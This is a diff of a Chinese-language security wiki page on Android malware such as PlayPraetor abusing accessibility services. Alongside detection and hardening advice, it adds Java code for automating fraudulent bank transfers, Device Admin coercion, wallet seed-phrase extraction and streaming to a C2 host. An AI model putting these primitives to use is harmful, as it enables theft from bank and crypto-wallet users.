+恶意软件家族（例如 **PlayPraetor**）维持一个持久的 WebSocket 通道，操作者可以在其中发出高层命令（`init`, `update`, `alert_arr`, `report_list`, …）。该服务将这些命令翻译为上面提到的低级手势，实现实时的未授权交易，轻易绕过绑定到该设备的多因素认证。
 
-### 3. 屏幕流媒体与监控
-通过将**MediaProjection API**与RTMP客户端库结合，RAT可以将实时帧缓冲区广播到`rtmp://<c2>:1935/live/<device_id>`，使对手在Accessibility引擎驱动UI时获得完美的情境意识。
+### 3. Screen streaming & monitoring
+通过将 **MediaProjection API** 与 RTMP 客户端库结合，RAT 可以将实时 framebuffer 广播到 `rtmp://<c2>:1935/live/<device_id>`，在 Accessibility 引擎驱动 UI 时为对手提供完整的态势感知。
 
 ---
 
-## PlayPraetor – 命令与控制工作流程
+## PlayPraetor – command & control workflow
 
-1. **HTTP(S) 心跳** – 遍历硬编码列表，直到一个域以活动C2响应`POST /app/searchPackageName`。
-2. **WebSocket (端口 8282)** – 双向JSON命令：
-* `update` – 推送新配置/APK
-* `alert_arr` – 配置覆盖模板
-* `report_list` – 发送目标包名称列表
+1. **HTTP(S) heartbeat** – 遍历硬编码列表，直到某个域名以 `POST /app/searchPackageName` 回应并返回活动 C2。
+2. **WebSocket (port 8282)** – 双向 JSON 命令：
+* `update` – 推送新的 conf/APKs
+* `alert_arr` – 配置 overlay 模板
+* `report_list` – 发送目标 package 名称列表
 * `heartbeat_web` – 保持连接
-3. **RTMP (端口 1935)** – 实时屏幕/视频流媒体。
-4. **REST 外泄** –
-* `/app/saveDevice`（指纹）
+3. **RTMP (port 1935)** – 实时屏幕/视频流。
+4. **REST exfiltration** –
+* `/app/saveDevice` (fingerprint)
 * `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
-* `/app/saveCardPwd`（银行凭据）
+* `/app/saveCardPwd` (bank creds)
 
-**AccessibilityService**是将这些云命令转换为物理交互的本地引擎。
+本地引擎 **AccessibilityService** 将这些云端命令转换为物理交互。
 
 ---
 
-## 检测恶意无障碍服务
+## Detecting malicious accessibility services
 
 * `adb shell settings get secure enabled_accessibility_services`
-* 设置 → 无障碍 → *已下载服务* – 查找**不是**来自Google Play的应用。
-* MDM / EMM解决方案可以强制执行`ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY`（Android 13+）以阻止侧载服务。
-* 分析正在运行的服务：
+* Settings → Accessibility → *Downloaded services* – 查找非来自 Google Play 的应用。
+* MDM / EMM 解决方案可以强制 `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) 来阻止侧载服务。
+* Analyse running services:
 ```bash
 adb shell dumpsys accessibility | grep "Accessibility Service"
 ```
 
 ---
 
-## 应用开发者的加固建议
+## Hardening recommendations for app developers
 
-* 用`android:accessibilityDataSensitive="accessibilityDataPrivateYes"`标记敏感视图（API 34+）。
-* 将`setFilterTouchesWhenObscured(true)`与`FLAG_SECURE`结合使用，以防止点击/覆盖劫持。
-* 通过轮询`WindowManager.getDefaultDisplay().getFlags()`或`ViewRootImpl` API检测覆盖。
-* 当`Settings.canDrawOverlays()` **或** 非信任的无障碍服务处于活动状态时拒绝操作。
+* 使用 `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+) 标记敏感视图。
+* 将 `setFilterTouchesWhenObscured(true)` 与 `FLAG_SECURE` 结合使用以防止 tap/overlay 劫持。
+* 通过轮询 `WindowManager.getDefaultDisplay().getFlags()` 或使用 `ViewRootImpl` API 检测 overlays。
+* 当 `Settings.canDrawOverlays()` **或** 非受信任的 Accessibility 服务处于活跃状态时拒绝继续操作。
 
 ---
 
-## 参考文献
+## ATS automation cheat-sheet (Accessibility-driven)
+恶意软件可以仅使用 Accessibility APIs 完全自动化银行应用。通用原语：
+```java
+// Helpers inside your AccessibilityService
+private List<AccessibilityNodeInfo> byText(String t){
+AccessibilityNodeInfo r = getRootInActiveWindow();
+return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
+}
+private boolean clickText(String t){
+for (AccessibilityNodeInfo n: byText(t)){
+if (n.isClickable()) return n.performAction(ACTION_CLICK);
+AccessibilityNodeInfo p = n.getParent();
+if (p != null) return p.performAction(ACTION_CLICK);
+}
+return false;
+}
+private void inputText(AccessibilityNodeInfo field, String text){
+Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
+field.performAction(ACTION_SET_TEXT, b);
+}
+private void tap(float x, float y){
+Path p = new Path(); p.moveTo(x,y);
+dispatchGesture(new GestureDescription.Builder()
+.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
+}
+```
+Example flow (Czech → English labels):
+- "Nová platba" (新支付) → 点击
+- "Zadat platbu" (填写支付) → 点击
+- "Nový příjemce" (新收款人) → 点击
+- "Domácí číslo účtu" (国内账户号) → 聚焦并 `ACTION_SET_TEXT`
+- "Další" (下一步) → 点击 → … "Zaplatit" (支付) → 点击 → 输入 PIN
+
+Fallback: 当因自定义控件导致文本查找失败时，使用硬编码坐标和 `dispatchGesture`。
+
+Also seen: 通过导航到 limits UI 并在转账前提高日限额，先执行到 `check_limit` 和 `limit` 的预步骤。
+
+## 基于文本的伪屏幕流
+为了低延迟远程控制，与其进行完整的视频流，不如将当前 UI 树的文本表示导出并反复发送给 C2。
+```java
+private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
+if (n==null) return;
+Rect b = new Rect(); n.getBoundsInScreen(b);
+CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
+sb.append(indent).append("[").append(cls).append("] ")
+.append(txt==null?"":txt).append(" ")
+.append(b.toShortString()).append("\n");
+for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
+}
+```
+这是像 `txt_screen`（一次性）和 `screen_live`（持续）等命令的基础。
+
+## Device Admin 胁迫原语
+一旦 Device Admin receiver 被激活，这些调用会增加捕获凭证并维持控制的机会：
+```java
+DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
+ComponentName admin = new ComponentName(this, AdminReceiver.class);
+
+// 1) Immediate lock
+dpm.lockNow();
+
+// 2) Force credential change (expire current PIN/password)
+dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
+
+// 3) Disable biometric unlock to force PIN/pattern entry
+int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
+DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
+dpm.setKeyguardDisabledFeatures(admin, flags);
+```
+注意：这些策略的具体可用性因 Android 版本和 OEM 而异；在测试期间请验证设备策略角色（admin vs owner）。
+
+## 加密钱包助记词提取模式
+观察到适用于 MetaMask, Trust Wallet, Blockchain.com 和 Phantom 的流程：
+- 使用被窃取的 PIN（通过 overlay/Accessibility 捕获）或用户提供的钱包密码解锁。
+- 导航：Settings → Security/Recovery → Reveal/Show recovery phrase。
+- 通过对文本节点进行 keylogging、绕过 secure-screen，或在文本被遮挡时进行截图 OCR 来收集助记词。
+- 支持多种语言环境（EN/RU/CZ/SK）以稳定选择器 —— 优先使用 `viewIdResourceName`（如果可用），否则回退到多语言文本匹配。
+
+## NFC-relay orchestration
+Accessibility/RAT 模块可以作为第三阶段安装并启动专用的 NFC-relay 应用（例如 NFSkate），甚至注入一个 overlay 指南，引导受害者完成带卡在场的中继步骤。
+
+Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
+
+---
+
+## 参考资料
 * [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
 * [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
+* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
+* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
 
 {{#include ../../banners/hacktricks-training.md}}